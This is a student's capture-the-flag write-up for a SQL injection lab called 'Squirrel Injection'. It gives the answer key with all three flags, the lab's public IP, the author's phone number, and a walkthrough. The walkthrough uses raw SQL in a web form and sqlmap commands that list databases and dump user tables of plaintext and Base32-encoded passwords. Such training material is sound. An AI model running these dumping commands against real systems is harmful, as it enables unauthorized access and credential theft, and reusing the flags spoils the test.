Wyatt Pangerl IS-590R Skill CTF Challenge Write Up

Challenge Name-Squirrel Injection

The purpose of this challenge is to practice SQL injection using form input on a webpage or sqlmap. This challenge should provide exposure to sql injection, database structure, and how user information looks in a database.

3 Flags:

Flag 3: byu22ind{y0u-d3crypt3d-m3_p4sSw0rd}

Flag 2: byu22ind{squirrel_injection_for_the_win!}

Flag 1: byu22ind{super_cool_table_name}

Set-Up:

This is running as a docker container as an EC2 Instance on AWS. I have configured user permissions on the database so the database user that is being used to access the database through the webpage can only use SELECT and SHOW DATABASES. However, if there is an issue during the CTF with the AWS instance, feel free to call me and I can restart it or re-set up the databases, as I do have backups. My phone number is **810.618.2506**. The current address for the site is http://34.207.71.123:8000/ If this changes, I will let you know. If there are issues with it, please let me know and I will get you the new address. Again, feel free to text/call me or reach out to me on slack.

Since there are 3 flags in this one webpage, I would recommend making a “Squirrel Injection—1”, “Squirrel Injection—2”, and “Squirrel Injection—3” challenge. For challenge 1, mention that the flag is a table name. For flag 2, mention that it is a plain text password. For flag 3, mention that it is an encoded password. I think this would be the best method of making sure they are entering the flags in the correct challenges. If you have a better idea, I am up to suggestions.

Hints:

On the webpage, it says that it is sql injection, so I am not sure more needs to be listed than that for process hints.

Walk Through:

This site can pretty much walk one through how to exploit this webpage.
https://www.geeksforgeeks.org/use-sqlmap-test-website-sql-injection-vulnerability/

Flag 1:

There are two ways to get this flag. **Method 1:**

- Navigate to http://34.207.71.123:8000/
- In the text box, enter
  - `SHOW TABLES`
- The web page should print the following:

Have you ever used squirrel injection before? give it a try!

silly me, its *not* squirrel injection, its SQL injection!

---

squirrels!!

Users
byu22ind{super_cool_table_name}

SHOW TABLES

Method 2:

- Using sqlmap, enter
  - `sqlmap -u http://34.207.71.123:8000/?subject=1 -dbs`
- This command will print all the databases that sqlmap can locate.

```
available databases [5]:
[*] information_schema
[*] mysql
[*] MYSQL_DATABASE
[*] performance_schema
[*] sys
```

- Using sqlmap, enter
- `sqlmap -u http://34.207.71.123:8000/?subject=1 -D MYSQL_DATABASE -tables`
- This command will return the table names in the database `MYSQL_DATABASE`

```
Database: MYSQL_DATABASE
[2 tables]
+---------------------------------+
| Users                           |
| byu22ind{super_cool_table_name} |
+---------------------------------+
```

Walk Through:

Flag 2:

There are two ways to get this flag. **Method 1:**

- This method builds off the previous flag.
- In the text box, enter
  - `SELECT * FROM Users`
- The web page should print the following:

Have you ever used squirrel injection before? give it a try!

silly me, its *not* squirrel injection, its SQL injection!

---

squirrels!!

billy dabnemhaters
DewIt5673 IamTheSenate
flaggyboi byu22ind{squirrel_injection_for_the_win!}
iloveboats treeboatcarplane
jimbo stephenson
MrHack3r password
notsteve iswearthisisntsteve
OlRickAstley https://www.youtube.com/watch?v=sBe5bQ1wZtI&ab_channel=AveragePandaEnjoyer
Pangerl1 ThisIsTheBestPasswordThatICouldComeUpWith
qwerty !!!!!!!!!!!!!!!
SharkMan sharkiesharkiesharkie
SillyGrl fh@#509sbnvsli@#$FGsd0vyh2
SquidBoi Hashtag
steve sd;sfkjgha;ergna;dkjfbnaeekj;rgn
testuser test
ThisIsMyUsername HereIsMyp@$$w0rD
wyatt password
youwantaflag toobadhaha
Yusef 1234567890

SELECT * FROM Users

Method 2:

- Using sqlmap, enter
  - `sqlmap -u http://34.207.71.123:8000/?subject=1 -D MYSQL_DATABASE -T Users --dump`
- This command dump all the entries in the Users table inside the MYSQL_DATABASE database. It should print the following:

```
Database: MYSQL_DATABASE
Table: Users
[19 entries]
+------------------+-----------------------------------------------------------------------------+
| name             | secret                                                                      |
+------------------+-----------------------------------------------------------------------------+
| billy            | dabnemhaters                                                                |
| DewIt5673        | IamTheSenate                                                                |
| flaggyboi        | byu22ind{squirrel_injection_for_the_win!}                                   |
| iloveboats       | treeboatcarplane                                                            |
| jimbo            | stephenson                                                                  |
| MrHack3r         | password                                                                    |
| notsteve         | iswearthisisntsteve                                                         |
| OlRickAstley     | https://www.youtube.com/watch?v=sBe5bQ1wZtI&ab_channel=AveragePandaEnjoyer  |
| Pangerl1         | ThisIsTheBestPasswordThatICouldComeUpWith                                   |
| qwerty           | !!!!!!!!!!!!!!!                                                             |
| SharkMan         | sharkiesharkiesharkie                                                       |
| SillyGrl         | fh@#509sbnvsli@#$FGsd0vyh2                                                  |
| SquidBoi         | Hashtag                                                                     |
| steve            | sd;sfkjgha;ergna;dkjfbnaeekj;rgn                                            |
| testuser         | test                                                                        |
| ThisIsMyUsername | HereIsMyp@$$w0rD                                                            |
| wyatt            | password                                                                    |
| youwantaflag     | toobadhaha                                                                  |
| Yusef            | 1234567890                                                                  |
+------------------+-----------------------------------------------------------------------------+
```

Flag 3:

There is only 1 method of getting Flag 3

- At this point, we know the database name, and the table names, and we can dump the table info as well.
- Dump the information from the table: byu22ind{super_cool_table_name}
    - sqlmap -u http://34.207.71.123:8000/?subject=1 -D MYSQL_DATABASE -T byu22ind{super_cool_table_name} –dump
    - This should print the following:

```
Database: MYSQL_DATABASE
Table: byu22ind{super_cool_table_name}
[20 entries]
+------------------+-----------------------------------------------------------------------+
| name             | Base_32_Password                                                      |
+------------------+-----------------------------------------------------------------------+
| isthereaflaghere? | PFXXK5DIN52WO2DUORUGS43XMFZWCZTMMFTWQYLIMFUGC2DBNBQWOZLUOJSWWZA= |
| user1            | GM4XI2DJNZTXA2LFMNSXG4DSNFXGO53SNF2GK5TPO5SWYNBXGQ2TGOJSGE====== |
| user10           | GEYXO2LOMRXXO43IN5STGOLTORUWY3BYGV2GKYLNG44DM3DPMNQXIZI=          |
| user12           | M5ZGC3TEN5ZDINDUNBUW4ZZTHBZXK2LUHEZHGZLOMQZTCMZV                  |
| user13           | GE2DSMRVGRTWYYLEOVXGS5DQN5XXENBTGM4HE5LMMVWW65LUNA======         |
| user14           | OJSXC5LJOJSTKMLFNZ2GK4RXGI3GS3TDNBRW63LNN5XDGM3UNBUW4MRR          |
| user15           | G44DEYTBOJYG643TNFRGYZLDN52HI33OHE3XA4TFOR2HSMZYONYGKZLDNAYQ==== |
| user16           | HEYDEN3TOBSWKZDNN5ZG42LOM44DCYTFM5QW4OJQMJQXGZLSN5QWIMJW          |
| user17           | MJ4XKMRSNFXGI63ZGB2S2ZBTMNZHS4DUGNSC23JTL5YDI42TO4YHEZD5          |
| user18           | MNQXIY3IMNSW45BVGQ2W233OORUGM33PMQZDGYLTHE2DSMI=                  |
| user19           | GI2TKMTUNBZGKZJYGVZGC2LEG43DOM3GOJXW23TPOJRG6ZDZ                  |
| user2            | MZWHSYTBMNXW453JNZTTSMBZGZSGKY3JMRSTSNDDMFZDQOJXGI======         |
| user20           | GFRGKYLVOR4XE33TMVXGC3LFNRSXMZLMHFQWE33VOQ4TSNBRGY3Q====         |
| user3            | G43GEYLCPFWGKYLSNY3DC4DPMVWTQMBTG53WS5DIGUZWE33VM5UHI===          |
| user4            | NBSWYZDDN5XGI2LUNFXW4NRQG43GC3TTO5SXENJQMZ2W4OJXHBQXG2Y=          |
| user5            | MFWW63THGI4TCOBRORUGC3TLGQ3WQYLQOB4TGM3TORSWK3DGNFTXK4TF          |
| user6            | MZSWY3BZGV2HE2LBNZTWYZLDMFZGINZRNJXWE53BOMZDMNJWGEYA====          |
| user7            | HAZHO2DFORUGK4TXMFWGYOBXMJUXINBQGY4TSMLQMFZXIYLGOJQWSZA=          |
| user8            | OBWGCY3FNRQXG5BZGAYTGMDJNZZXIYLOORZWQZLFOQ4DG33ONR4TQ===          |
| user9            | GE2DK5DIMF2DKOJSHE3TI3LBNZZWSZ3OOJQWS3TNN53GK===                  |
+------------------+-----------------------------------------------------------------------+
```

- The table prints all the entries, there are user numbers and Base-32 encoded passwords.
- Using cyberchef, dcode.fr, or another base32 decoder, decode the encoded strings until the flag is found.
- The flag is in user17.